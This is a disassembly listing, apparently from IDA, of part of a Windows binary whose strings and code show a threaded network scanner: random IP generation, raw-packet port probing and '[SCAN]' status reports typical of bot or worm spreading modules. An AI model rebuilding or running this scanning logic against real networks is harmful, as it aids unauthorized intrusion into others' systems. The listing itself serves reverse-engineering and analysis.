		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BEA
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402284
		mov	al, 1
		jmp	loc_422F3B
sub_422B40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4236F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_448F30
		mov	ecx, offset dword_449958
		setnz	bl
		call	sub_4014DD
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D8075
		call	sub_401857
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_445428[eax*4]
		inc	ecx
		mov	dword_445428[eax*4], ecx
		mov	al, 1
		retn
sub_4236F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401E10j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50FAA8
		nop
		call	sub_5FADE9
		mov	eax, offset dword_50FAA8
		add	esp, 2Ch
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423820	proc near		; CODE XREF: sub_401F55j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50DB50[esi*8]
		push	eax
		call	near ptr 71AB2BC0h
		nop
		inc	eax
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	dword_50DB50[esi*8], eax
		pop	esi
		retn
sub_423820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423860	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423892
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423892:				; CODE XREF: sub_423860+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_511AC8
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4238CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4238CA:				; CODE XREF: sub_423860+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4238D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4238D6:				; CODE XREF: sub_423860+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4238E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4238E2:				; CODE XREF: sub_423860+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4238EC
		call	esi	; rand


loc_4238EC:				; CODE XREF: sub_423860+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50DB50[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423860	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423950	proc near		; CODE XREF: sub_401E56j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42397E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42397E:				; CODE XREF: sub_423950+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423950	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, dword_511C38
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A37
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C68
; ---------------------------------------------------------------------------


loc_423B69:				; CODE XREF: ___:00423B5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423BC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_5FADE9
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BC2:				; CODE XREF: ___:00423B87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423C13
		mov	edi, dword_511C64


loc_423BEA:				; CODE XREF: ___:00423C11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423C42
		cmp	[esp+0FEh], bp
		jnz	short loc_423BEA


loc_423C13:				; CODE XREF: ___:00423BE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C42:				; CODE XREF: ___:00423C07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C63:				; CODE XREF: ___:00423C23j
		push	offset dword_4456E4


loc_423C68:				; CODE XREF: ___:00423B64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423D10:				; CODE XREF: ___:loc_401F41j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		call	near ptr 2800BE7h
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:44AF8Bh[eax*4]
		mov	eax, dword_44B18F[eax*4]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jz	loc_423FBE
		mov	ebx, off_511C00


loc_423D8C:				; CODE XREF: ___:00423FB4j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423DA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423DAF
; ---------------------------------------------------------------------------


loc_423DA7:				; CODE XREF: ___:00423D96j
		call	sub_401F55
		add	esp, 4


loc_423DAF:				; CODE XREF: ___:00423DA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_511C88
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5FADE9
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx ; sub_5FADE9
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E56
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F9A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423EBF
		push	offset dword_50FA90
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5FADE9
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E9F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E7A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E97
; ---------------------------------------------------------------------------


loc_423E7A:				; CODE XREF: ___:00423E56j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E97:				; CODE XREF: ___:00423E78j
		call	sub_40152D
		add	esp, 10h


loc_423E9F:				; CODE XREF: ___:00423E4Bj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50FA90
		call	near ptr 7C9010EDh
		nop
		jmp	loc_423F9A
; ---------------------------------------------------------------------------


loc_423EBF:				; CODE XREF: ___:00423E13j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5FADE9
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:4453F8h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5FADE9
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423F0C
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423F19
; ---------------------------------------------------------------------------


loc_423F0C:				; CODE XREF: ___:00423EF8j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423F19:				; CODE XREF: ___:00423F0Aj
		call	ebx ; sub_5FADE9
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_445424[edx*4]
		add	esp, 0BCh


loc_423F9A:				; CODE XREF: ___:00423E05j
					; ___:00423EBAj
		push	7D0h
		nop
		call	near ptr 28502B8h
		mov	eax, [ebp+204h]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jnz	loc_423D8C
		mov	esi, [esp+10h]


loc_423FBE:				; CODE XREF: ___:00423D80j
		push	esi
		call	sub_401E3D
		add	esp, 4
		push	0
		call	near ptr 2850405h
		nop
		nop
; ---------------------------------------------------------------------------
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_402284j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50DB50[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_40148D
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424101
		push	offset dword_50FA90
		call	near ptr 27A0721h
		nop
		push	offset dword_50FA90
		call	near ptr 27A0DFAh
		nop


loc_424101:				; CODE XREF: ___:004240E9j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_5118D8
		mov	esi, ebx
		mov	dword_50DB54[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_511C00
		jb	loc_424230
		mov	edi, dword_51186C


loc_424132:				; CODE XREF: ___:0042422Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5FADE9
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BEA
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F41
		push	0
		push	0
		mov	dword_44B18F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44B19F[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44B19F[eax*4]
		test	ecx, ecx
		jz	short loc_4241F8
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42421E


loc_4241E7:				; CODE XREF: ___:004241F4j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_4241E7
		jmp	short loc_42421E
; ---------------------------------------------------------------------------


loc_4241F8:				; CODE XREF: ___:004241DAj
		nop
		call	near ptr 27E098Ch
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5FADE9
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42421E:				; CODE XREF: ___:004241E5j
					; ___:004241F6j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424132


loc_424230:				; CODE XREF: ___:00424126j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42425E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424291
; ---------------------------------------------------------------------------


loc_42425E:				; CODE XREF: ___:00424239j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50DB54[ecx*8], esi
		jnz	short loc_424291


loc_424273:				; CODE XREF: ___:00424288j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50DB54[edx*8], esi
		jz	short loc_424273
		mov	eax, [esp+12Ch]


loc_424291:				; CODE XREF: ___:0042425Cj
					; ___:00424271j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50DB50[ecx*8]
		push	ecx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5FADE9
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4242F2
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_40152D
		add	esp, 10h


loc_4242F2:				; CODE XREF: ___:004242CBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50DB54[eax*8], 0
		call	ebp
		push	3
		call	sub_40148D
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424334
		push	offset dword_50FA90
		call	near ptr 27A0721h
		nop


loc_424334:				; CODE XREF: ___:00424327j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E3D
		add	esp, 4
		push	0
		call	near ptr 2850405h
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
byte_424380	db 90h dup(0CCh)	; DATA XREF: sub_5AA2D1+BFBo

; =============== S U B	R O U T	I N E =======================================



sub_424410	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424410	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424430:				; CODE XREF: ___:004015EBj
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401843
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424480	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4244D2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4244D2:				; CODE XREF: sub_424480+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4021F8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424574
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424500	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245A0	proc near		; CODE XREF: sub_4016C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4245B3
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4245B3:				; CODE XREF: sub_4245A0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4245A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245E0	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_4245F7
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245F7:				; CODE XREF: sub_4245E0+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	near ptr 77C2C407h
		nop
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424625
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424625:				; CODE XREF: sub_4245E0+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424654
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42466F
; ---------------------------------------------------------------------------


loc_424654:				; CODE XREF: sub_4245E0+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42466F:				; CODE XREF: sub_4245E0+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_4245E0	endp

; ---------------------------------------------------------------------------
		db 90h
